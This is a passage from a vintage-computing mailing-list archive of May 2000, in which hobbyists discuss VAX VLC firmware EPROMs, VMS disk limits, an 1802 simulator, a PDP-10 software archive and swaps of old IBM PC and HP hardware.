uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:51:20 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: Hi Chuck, The firmware is probably stored in EPROMs, and not flash. You need to find a blank replacement EPROM of the same type (size/speed/pinout) and copy the good one to the new one. Is there a manufacture's part number on the V1.5 ROM? I might be able to cross reference it to a current replacement. Clint On Mon, 1 May 2000, Chuck McManis wrote: > Hello All, > > I've got two VLCs, I'm running them both headless. They are connected to S1 > and S2 of a VT340 terminal. One of them "loses" the terminal sometimes. If > try typing nothing is echoed although I can still send stuff to the serial > port from a process and it displays. Sometimes I can "fix" it by breaking > to the chevron and then typing 'c' (continue). This happens on both VMS and > NetBSD so I don't think it is a driver problem. > > The other VLC doesn't have any issues like this at all. > > The VLC that has no issues has Firmware 1.5, the one that has issues has > Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've > got an EPROM programmer but I don't know if there are is anything else I > need to do. > > --Chuck > > > From vaxman at uswest.net Tue May 2 20:01:48 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:51:20 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: <005101bfb42d$508c6750$5d01a8c0@p2350> Message-ID: Make sure to read the old one first! Or at least verify they are the same manufacture's part number. It would be truly bad to destroy your good firmware, and not have anyway to replace it. clint On Tue, 2 May 2000, emanuel stiebler wrote: > ----- Original Message ----- > From: Chuck McManis > To: > Sent: Monday, May 01, 2000 22:51 > Subject: VAX/VLC firmware upgrade? > > > > The VLC that has no issues has Firmware 1.5, the one that has issues has > > Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've > > got an EPROM programmer but I don't know if there are is anything else I > > need to do. > > Try to exchange te EPROMs first. That's the easiest way to find out, if the > hardware is flaky ... > > cheers, > emanuel > > > > From healyzh at aracnet.com Tue May 2 20:15:14 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:20 2005 Subject: VAXstation 4000VLC In-Reply-To: <020901bfb495$1f3cd370$5d01a8c0@p2350> from "emanuel stiebler" at May 02, 2000 06:18:25 PM Message-ID: <200005030115.SAA18755@shell1.aracnet.com> > > Possible problems: > > 2GB HD > > Is it possible to use bigger than 1GB as system ? Don't know ... Yes, that's only a problem on the early 3100 models. I think I'm going to have to try the 2GB again, since I think the 1GB disk is making some wierd noises. > > Anyway I've not got OpenVMS V7.1 loaded > > 7.1 or 7.2.1 ? IIRC, there were some issues before 7.2 with non dec drives > during install, but I'm not sure. 7.1, I *wish* I had 7.2.1, though I'm more interested in TCPIP 5.1 (it's not out yet) as it's supposed to include features that I need. I think any version starting with V6 is fairly able to handle 3rd party disks, but even with V7.2 or V7.2.1 there are some disks that just won't work. > > on a 1GB HD that came out of a Super Computer and am configuring it. > > Just for the heck of it, (Never installed VMS on a VLC before) i tried it > few hours before. > I took a TEAC CDROM + 1 GB Fujitsu Drive. Took me around 1 hour to logon in > DECWindows, without any problems. Close to what I did, I've got a 1GB Fujitsu, and a Mitsuami (that's close to right) 4x CD-ROM in I believe a Panasonic external case. I don't have a monitor though so I still need to get TCPIP on there so I can try DECwindows remotely. It's the remote DECwindows performance that I care about anyway since this is the method in which I want to use the system. How good did you think the DECwindows performance was locally? Zane From allisonp at world.std.com Tue May 2 19:32:00 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:20 2005 Subject: VAXstation 4000VLC Message-ID: <006701bfb499$770b2bc0$7964c0d0@ajp166> >> Possible problems: >> 2GB HD > >Is it possible to use bigger than 1GB as system ? Don't know ... Yes you can buld bigger than 1gb. the problem if the VLC isn't aware was that if the system crashes under VMS it would use the BOOT ROM driver for the SCSI disk. For many of the 3100 series systems this meant if you used a disk larger than 1.07gb and it crashed it would over write the area that was in the 1st 1gb. if it never crashed it would run fine as the VMS driver that is loaded was large disk aware. Later systems that were SCSI had this fixed but I don't know about this one. The easy fix is to build a system using boud volumes with the smaller being under 1gb. Also reduce the swap to 5k blocks and put page and swap files on secondary drive where they can be any size. FYI: I only have one VAX that now has a 1gb disk, this has never been a problem for me and I run a lot of stuff in rather small disks. >7.1 or 7.2.1 ? IIRC, there were some issues before 7.2 with non dec drives >during install, but I'm not sure. Not that I know of for VAX. >Just for the heck of it, (Never installed VMS on a VLC before) i tried it >few hours before. >I took a TEAC CDROM + 1 GB Fujitsu Drive. Took me around 1 hour to logon in >DECWindows, without any problems. Not surprized. Enjoy! Allison From g at kurico.com Tue May 2 23:10:29 2000 From: g at kurico.com (George Currie) Date: Sun Feb 27 18:51:20 2005 Subject: Free DECServer 200/MC (2x) In-Reply-To: References: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> Message-ID: <390F6065.25332.32B50684@localhost> I have two DECServer 200/MC's that are available for anyone who wants them. I have no idea if they work or not (got them at an auction). You pay shipping from Austin, TX. George From mikeford at socal.rr.com Wed May 3 00:04:57 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:20 2005 Subject: IBM 9332, Alpha Micro In-Reply-To: References: Message-ID: Two items found at a scrap yard; Rack of IBM 9332 200 93X1662 disk drives, with one big floppy drive. Alpha Micro AM 2000 - M From dogas at leading.net Tue May 2 23:57:04 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:20 2005 Subject: COSMAC 1802 Simulator Message-ID: <000601bfb4bc$09818e00$ca646464@dogclient01> Tonight I added the mini-assembler and memory block saves&loads to the 1802 simulator. The 95/98/nt console binary and source-code are at: http://users.leading.net/~dogas/classiccmp/cosmac/vcosmac.htm >Allison > >Good runs under W95/nt then, have that running. >M!... Ah UT4. have manual. heh.. early influences... >Wheres Bin/CPP for it? Up there. Let me know if it doesn't do what you think it should. Thanks - Mike: dogas@leading.net > >Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 >it was faster than 1802. I wonder where I put that. > > From ernestls at home.com Wed May 3 00:47:10 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:51:20 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <016c01bfb485$0ab446a0$e0711fd1@default> Message-ID: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.com> Today, I was given a bunch of interesting vintage items. HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices (have you seen one of these before, Joe?) HP 9114A floppy drive box for HP110 HP 9114B "same as above" with cool battery status lights, and original yellow floppy protector insert. HP Thinkjet portable printer for HP 110. HP Series 100 Communicator Volumes 7-12 (very cool) GCC Technologies FX-20 -upright external SCSI hard drive (looks like a beige socket wrench box) Apple II SCSI card for use with above drive. Hayes MicroModem II (300 baud) with external coupler, user guide, and software disk (1981) This little modem setup is strangely beautiful to me, and by the looks of it, I think that it must have been mostly hand made. ...of course, I think that my HP150 is beautiful too, so I may not be the best judge of art. Ernest -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000502/26520ae6/attachment.html From ernestls at home.com Wed May 3 00:57:35 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:51:20 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.com> Message-ID: <000a01bfb4c4$7b3c43c0$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ernest Sent: Tuesday, May 02, 2000 10:47 PM To: classiccmp@classiccmp.org Subject: Couple of cool HP 110/150 finds Today, I was given a bunch of interesting vintage items. ? HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices (have you seen one of these before, Joe?) HP 9114A floppy drive box for HP110 HP 9114B "same as above" with cool battery status lights, and original yellow floppy protector insert. HP Thinkjet portable printer for HP 110. HP Series 100 Communicator Volumes 7-12 (very cool)? ? GCC Technologies FX-20 -upright external SCSI hard drive (looks like a beige socket wrench box) Apple II SCSI card for use with above drive. Hayes MicroModem II (300 baud) with external coupler, user guide, and software disk (1981) This little modem setup is strangely beautiful to me, and by the looks of it, I think that it must have been mostly hand made. ? ...of course, I think that my HP150 is beautiful too, so I may not be the best judge of art. ? Ernest? PS. I forgot to add: HP SCSI/Parallel Interface box (88396) It says "same functionality as 88395," whatever that means? Box of HP power supply cubes and HB-IL? cables. I really needed these!? ?? ? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000502/c6b8a2bd/attachment.html From jhfine at idirect.com Wed May 3 08:17:29 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:51:20 2005 Subject: OT: Test Message-ID: <391026E9.65DEB8D1@idirect.com> Testing - Please Ignore! From CLASSICCMP at trailing-edge.com Wed May 3 08:26:22 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:20 2005 Subject: Semi-Irregular PDP-10 archives plea for contributions Message-ID: <000503092622.20200ae5@trailing-edge.com> [The article below is a reply I wrote to a post in the Usenet group alt.sys.pdp10. I do feel that it may reach some additional audience here.] sjm wrote: > > > Your only hope is that one of the four-hundred-and-eighty ongoing > projects to write a PDP-10 emulator will eventually produce > something that compiles. At least a third of these projects are also > completely imaginary, so don't get your hopes up. Those that aren't > will be ready for (limited) public review under strict NDA within > eight years if current agressive development schedules are met. A good number of the emulator (simulator?) authors are a bit afraid that releasing their current source code would require that they support it. I'm of the other opinion - if they release their current source code (I don't care if it's GPL or not GPL, I do *not* want to get into that religious war!) then others will support it. What's really encouraging is that several of the authors of the DECUS freeware in the archives have wandered across the collection and told me that they appreciate seeing software that they used or wrote themselves, sometimes 30 or more years ago. > TOPS-10 and TOPS-20 software is available online thanks to Tim Shoppa > and some anonymous donors. You're welcome :-). It's nice to see that at least I - and both the anonymous and not-so-anonymous donors mentioned at the archive home page, http://pdp-10.trailing-edge.com/ - come off as the good guys. We're really trying. I've seen some emulator progress mentioned here as a result of the sources being available and browsable, and that's a Good Thing. So far several hundred people have visited the archive site and downloaded or browsed through the software available, and that's a Good Thing too. > Plenty more would be, but the community > has largely, and very wisely, decided that it would be far better if > the existing software were allowed to mildew unsaved in basements. > This will preserve its purity so it is not touched by infidels. It really breaks my heart and pains me that so much software is out there just rotting away. Some of the current holders of the tapes don't understand that the tapes *are* still readable (sure, not everyone has 9-track and 7-track drives anymore, and not everyone has the ability to read and decode TOPS-10 BACKUP or TOPS-20 DUMPER tapes, but I do!), others don't understand that there is a wide interest in the software. There are some other organizations - such as computer museums - that probably don't understand the value of the tapes or disks they currently have in their collection. Many of these museums have members/volunteers that read this newsgroup, and I hope that those readers pay attemtion to my plea below. Thus I'll repeat my plea: If anyone has any PDP-10 software covered by the DEC 36-bit hobbyist license, please get it to me. I'll pay shipping both ways, and I'm an expert at archiving old data. Your tapes will be properly cared for, carefully read, and returned. If you want, you'll be thanked on the archive page for the stuff you provide, or if you prefer you can remain anonymous. Just don't let the software rot away! The best reference I can give is what I've done so far. Just look at http://pdp-10.trailing-edge.com/ and you'll find hundreds of megabytes of PDP-10 software, preserved in both *exact* tape or disk image form and as browsable, human-readable files. Both commercial software covered by the DEC 36-bit hobbyist license and the DECUS 10- and 20- freeware collections are available there. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From lemay at cs.umn.edu Wed May 3 09:12:17 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:20 2005 Subject: Milwaukee Journal Sentinel article - Recycling computers Message-ID: <200005031412.JAA00440@caesar.cs.umn.edu> Just noticed a new article in the Milwaukee Journal Sentinel. A new recycling program started 2 weeks ago, and already they have quite a few computers (well, duh!). Anyways, here is a link, you can read teh article, and if you're in wisconsin, maybe you might want to start paying them a visit occasionally, and geting them used to interacting with collectors, maybe even talk them into saving certain kinds of hardware... who knows what you could accomplish with a brand new program like that. http://www.msnbc.com/local/WTMJ/36008.asp -Lawrence LeMay From lemay at cs.umn.edu Wed May 3 11:45:33 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:20 2005 Subject: IBM PC parts Message-ID: <200005031645.LAA09620@caesar.cs.umn.edu> I have some IBM PC's to be disposed of, and I was planning to try and grab a few of the full height floppy drives before they go to the campus recycling center. Does anyone have a need for something from a PC, and I do mean PC, the model before XT's.. Or does someone want to trade something for a full height floppy drive. If so, let me know and I'll see what I can do. Small things that might look interesting in a display case would certainly interest me... There are monitors as well, but if any work they probably have a lot of screen burn, and arent worth saving. There is also one AT, but I doubt anyone would offer enough to make me attempt to acquire it and ship it. This stuff is at the University of Minnesota, Minneapolis. -Lawrence LeMay From RCini at congressfinancial.com Wed May 3 11:43:52 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:20 2005 Subject: Apple HS SCSI or RamFAST Message-ID: <497A9E0467D2D2119B760090271EB8E50E90C6@MAIL10> Hello, all: I want to replace my CMS SCSI card in my gs with a card that can handle CDs and ZIP disks. I know that either of these cards is rare, but does anyone have one they can part with? Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From allisonp at world.std.com Wed May 3 12:50:41 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:21 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000601bfb4bc$09818e00$ca646464@dogclient01> Message-ID: Hi, Havent played anything hard on it to test if it is a valid 1802 but I have comments and suggestions. Build it as a basic engine, if it needs ram then set a external parameter list for how much and what addresses, same for rom. Simulate IO, if it has a uart on the N-lines then create the registers/data you interact with (or the Q and Sense lines). The console can be like the ELF (switches and lights) and/or a RS232 tube connected via Q and F lines, software uart required as part of the code as UT4 does. Load UT4 (or whatever) from a start up list to emulate the rom and have the 1802 engine execute the "rom" cone out of memory space. This would allow code to "call" various ut4 routines like get or type. The miniassembler is nice and plenty handy. You may want to consider having it run like real code loaded into ram later on. The core of the instruction set is fairly regular so the select tree can be broken into functional sub trees for simpler code. The version of TB I have is quest TB and I don't have it on machine readable form (other than papertape which I currentlly can't read) so I'd have to copy the pages and someone can have the fun of toggleing it in, it'a about 1k or 2k. Allison On Wed, 3 May 2000, Mike wrote: > Tonight I added the mini-assembler and memory block saves&loads to the 1802 > simulator. The 95/98/nt console binary and source-code are at: > > http://users.leading.net/~dogas/classiccmp/cosmac/vcosmac.htm > > >Allison > > > >Good runs under W95/nt then, have that running. > >M!... Ah UT4. have manual. > > heh.. early influences... > > >Wheres Bin/CPP for it? > > Up there. > > Let me know if it doesn't do what you think it should. > > Thanks > - Mike: dogas@leading.net > > > > > >Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 > >it was faster than 1802. I wonder where I put that. > > > > > From charp at bitflash.com Wed May 3 12:54:19 2000 From: charp at bitflash.com (Frederic Charpentier) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: <001701bfb528$9bea3500$9801a8c0@frederickc> I have been trying to get a couple of original PC cases and full-height drives for a while now. I have 2 low SN motherboards fully cleaned, recovered and operational with a whopping 256K RAM (!) on the motherboard. I would love to get a couple of cases, drives and any original IBM boards that may be in there. Cheers, Frederic mailto: charp@bitflash.com -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Lawrence LeMay Sent: Wednesday, May 03, 2000 12:46 PM To: classiccmp@classiccmp.org Subject: IBM PC parts I have some IBM PC's to be disposed of, and I was planning to try and grab a few of the full height floppy drives before they go to the campus recycling center. Does anyone have a need for something from a PC, and I do mean PC, the model before XT's.. Or does someone want to trade something for a full height floppy drive. If so, let me know and I'll see what I can do. Small things that might look interesting in a display case would certainly interest me... There are monitors as well, but if any work they probably have a lot of screen burn, and arent worth saving. There is also one AT, but I doubt anyone would offer enough to make me attempt to acquire it and ship it. This stuff is at the University of Minnesota, Minneapolis. -Lawrence LeMay From mikeford at socal.rr.com Wed May 3 13:01:38 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: >I have some IBM PC's to be disposed of, and I was planning to try and grab >a few of the full height floppy drives before they go to the campus >recycling center. Does anyone have a need for something from a PC, and >I do mean PC, the model before XT's.. Or does someone want to trade >something for a full height floppy drive. If so, let me know and I'll My rule is to pull anything that looks different or interesting. Obviously a 16-256k logic board is worth preserving, but so are any special looking cables. Anything special about the full height drives? From ard at p850ug1.demon.co.uk Wed May 3 13:46:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:21 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.com> from "Ernest" at May 2, 0 10:47:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2094 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/953cac26/attachment.ksh From jfoust at threedee.com Wed May 3 14:04:45 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:21 2005 Subject: Milwaukee Journal Sentinel article - Recycling computers In-Reply-To: <200005031412.JAA00440@caesar.cs.umn.edu> Message-ID: <4.3.0.20000503140246.019ffdf0@pc> At 09:12 AM 5/3/00 -0500, Lawrence LeMay wrote: >Just noticed a new article in the Milwaukee Journal Sentinel. A new >recycling program started 2 weeks ago, and already they have quite >a few computers (well, duh!). I would guess they're tossing anything that isn't IBM compatible. It's not far from me, I may pay them a visit at some point. - John From wilson at dbit.dbit.com Wed May 3 14:28:25 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: ; from mikeford@socal.rr.com on Wed, May 03, 2000 at 11:01:38AM -0700 References: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: <20000503152825.A21853@dbit.dbit.com> On Wed, May 03, 2000 at 11:01:38AM -0700, Mike Ford wrote: > Anything special about the full height drives? Nope, they're regular Tandon TM100-1 or TM100-2 drives. On *some* drives, IBM had custom face plates made with the IBM logo in one corner, but they were still the nice Tandon drives. Eli Heffron's used to have the TM100-2 drives for $5/ea in great shape, with or without the IBM logo, no idea if that's still true (this was a while ago). Sure beats the days when an SA400L was over $100! John Wilson D Bit From rigdonj at intellistar.net Wed May 3 15:11:48 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:21 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000301bfb4c3$07198a80$59a40b18@C721564-A.sttln1.wa.home.co m> References: <016c01bfb485$0ab446a0$e0711fd1@default> Message-ID: <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Hi Ernest, At 10:47 PM 5/2/00 -0700, you wrote: >Today, I was given a bunch of interesting vintage items. > >HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices >(have you seen one of these before, Joe?) I have one but it looks about like one of the standard RS-232 switch boxs and it only switchs between four (i think!) sets of HP-IB cables. >HP 9114A floppy drive box for HP110 >HP 9114B "same as above" with cool battery status lights, and original >yellow floppy protector insert. >HP Thinkjet portable printer for HP 110. Yes, those are cool. They can also be used with the HP 75, HP 71 and HP 41 calculators if you add the HP-IL interface to them. >HP Series 100 Communicator Volumes 7-12 (very cool) Now those are unusual. I have two volumes but I've never been able to find any more of them. Where did you find them? Joe From rigdonj at intellistar.net Wed May 3 14:57:43 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! Message-ID: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Cripes, what a weekend! I went out Friday and the first thing I found was a huge Helium Neon laser. It's a Spectra Physics 125 and the thing is over six feet long! Also picked that National Semiconductor Multibus computer that I told everyone about. Also picked up a Fluke 1722, a HP 9816 computer and a big box of 8mm computer tapes on the same day. Then went to an auction of space stuff with a friend of mine on Saturday. Big mistake! We've been moving stuff ever since. I've been leaving by 6:30 AM and not getting home till close till midnight. We ended up with four large work benches, 30 feet of 12 foot pallet racking and about 35 pallets of stuff! We got some cool stuff though, a complete Apple II, an Apple III with an external disk drive, two Olympia ETX-II computers, a Terak computer, a pile of HP terminals, a complete DEC Rainbow and more. Also got a a VERY complete HP 1000 including a 7905 disk drive with the disk pack still in it. Also found an entire gaylord of manuals for it. And that's just the computer stuff. Also got all kinds of electronics parts, test equipment and space stuff. Even got parts from a lunar lander and a gyro from a Saturn V. Also got a UV spectrometer. Way Cool! Other goodies include 50+ factory software tapes for the HP 9845, a strange old HP MODEM, nine HP 85 interfaces and a blue Intel paper tape reader to go with the rest of my Intel MDS system. Joe PS does anyone have any instructions or a catalog listing or other information for a Tektronix J20 (or 7J20?) Photo-Spectrometer????? It's a plug-in for the Tektronix 7000 series scope mainframes. We got all three pieces of the electronics for it but didn't get the lense for it. It might be in the stuff but we don't know what it looks like. Joe From jfoust at threedee.com Wed May 3 14:50:19 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:21 2005 Subject: TRS-80 Model II Available in Madison, WI Message-ID: <4.3.0.20000503144903.00bc74f0@pc> >-----Original Message----- >From: Joe Lecher > >Hey, would John be interested in a complete TRS-80 Model II? 8 meg hard >disk, plotter (uses ball point type pen), 8 1/2 " drive expansion unit with >two of three bays filled. Doesn't boot anymore, probably power supply. >Schnazzy in its day....... Oh hey software too! Mulitplan, Pickles & Trout >CP/M etc..... You know, the wife thing, been promising to ditch it....... If you're interested, contact me in private mail and I'll forward to the person who will forward it to the other person. - John From healyzh at aracnet.com Wed May 3 14:54:44 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! In-Reply-To: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: >was a huge Helium Neon laser. It's a Spectra Physics 125 and the thing is So, did you actually get the laser, or just find it? > Then went to an auction of space stuff with a friend of mine on >Saturday. Big mistake! We've been moving stuff ever since. I've been >leaving by 6:30 AM and not getting home till close till midnight. We ended >up with four large work benches, 30 feet of 12 foot pallet racking and >about 35 pallets of stuff! We got some cool stuff though, a complete Apple Ouch! >Also got a a VERY complete HP 1000 including a 7905 disk drive with the >disk pack still in it. Also found an entire gaylord of manuals for it. And You found a grills ventilation system of manuals? (A Gaylord is a ventilation system used above grills and deep fat fryers (mispent early career as an electrician)) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From kdavis at bender.ndx.net Wed May 3 13:51:16 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <20000503152825.A21853@dbit.dbit.com> from "John Wilson" at May 03, 2000 03:28:25 PM Message-ID: <200005031851.LAA24039@bender.ndx.net> > > On Wed, May 03, 2000 at 11:01:38AM -0700, Mike Ford wrote: > > Anything special about the full height drives? > > Nope, they're regular Tandon TM100-1 or TM100-2 drives. On *some* drives, > IBM had custom face plates made with the IBM logo in one corner, but they > were still the nice Tandon drives. > > Eli Heffron's used to have the TM100-2 drives for $5/ea in great shape, > with or without the IBM logo, no idea if that's still true (this was a > while ago). Sure beats the days when an SA400L was over $100! > > John Wilson > D Bit > From kdavis at bender.ndx.net Wed May 3 13:51:21 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC partstGlobals *gCGlobs __asm ("gp"); In-Reply-To: <20000503152825.A21853@dbit.dbit.com> from "John Wilson" at May 03, 2000 03:28:25 PM Message-ID: <200005031851.LAA24048@bender.ndx.net> From CLASSICCMP at trailing-edge.com Wed May 3 15:20:27 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! Message-ID: <000503162027.20200b4d@trailing-edge.com> >>Also got a a VERY complete HP 1000 including a 7905 disk drive with the >>disk pack still in it. Also found an entire gaylord of manuals for it. And >You found a grills ventilation system of manuals? (A Gaylord is a >ventilation system used above grills and deep fat fryers (mispent early >career as an electrician)) Well, I've spent enough time working on robotic warehouse systems at shipping and loading docks that I know that a Gaylord is a largish cardboard shipping container with a lid, usually used to hold a lot of smaller boxes :-). Tim. From jdarren at ala.net Wed May 3 15:28:53 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:51:21 2005 Subject: perkin-elmer/concurent manuals Message-ID: <003a01bfb53e$33e7eae0$026464c0@j.peters> I have several dozen original-issue Perkin-Elmer/Concurrent 3200-series hardware and software manuals for $8 each, plus $3 shipping per order. Anyone interested in receiving a list? If so, please e-mail directly. J. Darren Peterson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/410f93f7/attachment.html From John.Allain at donnelley.infousa.com Wed May 3 15:37:32 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:21 2005 Subject: What a weekend! In-Reply-To: <3.0.1.16.20000503145743.0a4f1dc0@mailhost.intellistar.net> Message-ID: <000801bfb53f$68df6060$0e0301ac@dba00802.databaseamerica.com> Joe said: > an Apple III with an external disk drive... Fastastic! Great! > Even got parts from a lunar lander... What? Name 'em! > and a gyro from a Saturn V... How big did those fellers get, anyway? John A. From ard at p850ug1.demon.co.uk Wed May 3 14:14:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: from "Mike Ford" at May 3, 0 11:01:38 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 551 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000503/00a994b2/attachment.ksh From marvin at rain.org Wed May 3 15:49:19 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts References: <200005031645.LAA09620@caesar.cs.umn.edu> Message-ID: <391090CF.BB57C75A@rain.org> Lawrence LeMay wrote: > > I have some IBM PC's to be disposed of, and I was planning to try and grab > a few of the full height floppy drives before they go to the campus > recycling center. Does anyone have a need for something from a PC, and > I do mean PC, the model before XT's.. Or does someone want to trade You might take a look at the motherboards and see which PC motherboard is in them. The early ones, 16k - 64K, are probably getting much harder to find these days. I have a couple but it has been quite a few years since I've seen others. From jolminkh at nsw.bigpond.net.au Wed May 3 17:12:18 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts Message-ID: <002401bfb54c$a62be620$dadf8490@tp.nsw.bigpond.net.au> > >My rule is to pull anything that looks different or interesting. Obviously >a 16-256k logic board is worth preserving, but so are any special looking >cables. > There was no 16-265k logic board. There was a 16-64k and a 64-256k What is the world coming to when collectors are having trouble locating original PC cases and value 64-256k boards ?? Am I getting that old? From lemay at cs.umn.edu Wed May 3 16:13:46 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <20000503152825.A21853@dbit.dbit.com> from John Wilson at "May 3, 2000 03:28:25 pm" Message-ID: <200005032113.QAA25921@caesar.cs.umn.edu> > On Wed, May 03, 2000 at 11:01:38AM -0700, Mike Ford wrote: > > Anything special about the full height drives? > Well, the main reasons I wanted to grab some, were so I would have some for a display someday (sort of a history of floppy drives), plus I figured if people had genuine IBM XT's in their collections, it would be likely that someone had upgraded to a half height floppy in order to gain an additional drive bay. Such a person might want to restore their unit to original condition while they still have an opportunity to do so. Might be useful in other machines, possibly TRS-80 model 3 and 4 used full height tandon drives? -Lawrence LeMay From cmcmanis at mcmanis.com Wed May 3 16:20:52 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: References: Message-ID: <4.1.20000503141937.0447eee0@mailhost.hq.freegate.com> Not to mention the original ROM based BASIC that is in early IBM PCs and is allowed for in later models and clones even though it was rarely installed. (there was no "clean room" BASIC done AFAIK) --Chuck From bill at chipware.com Wed May 3 16:34:14 2000 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <200005032113.QAA25921@caesar.cs.umn.edu> Message-ID: <001b01bfb547$54108ee0$350810ac@yamato.chipware.com> > Well, the main reasons I wanted to grab some, were so I would have some > for a display someday (sort of a history of floppy drives), plus > I figured if people had genuine IBM XT's in their collections, it > would be likely that someone had upgraded to a half height floppy > in order to gain an additional drive bay. Such a person might want > to restore their unit to original condition while they still have > an opportunity to do so. > > Might be useful in other machines, possibly TRS-80 model 3 and 4 > used full height tandon drives? NorthStar Horizons! From ard at p850ug1.demon.co.uk Wed May 3 16:29:29 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:21 2005 Subject: IBM PC parts In-Reply-To: <4.1.20000503141937.0447eee0@mailhost.hq.freegate.com> from "Chuck McManis" at May 3, 0 02:20:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 509 bytes Desc: not available Url : 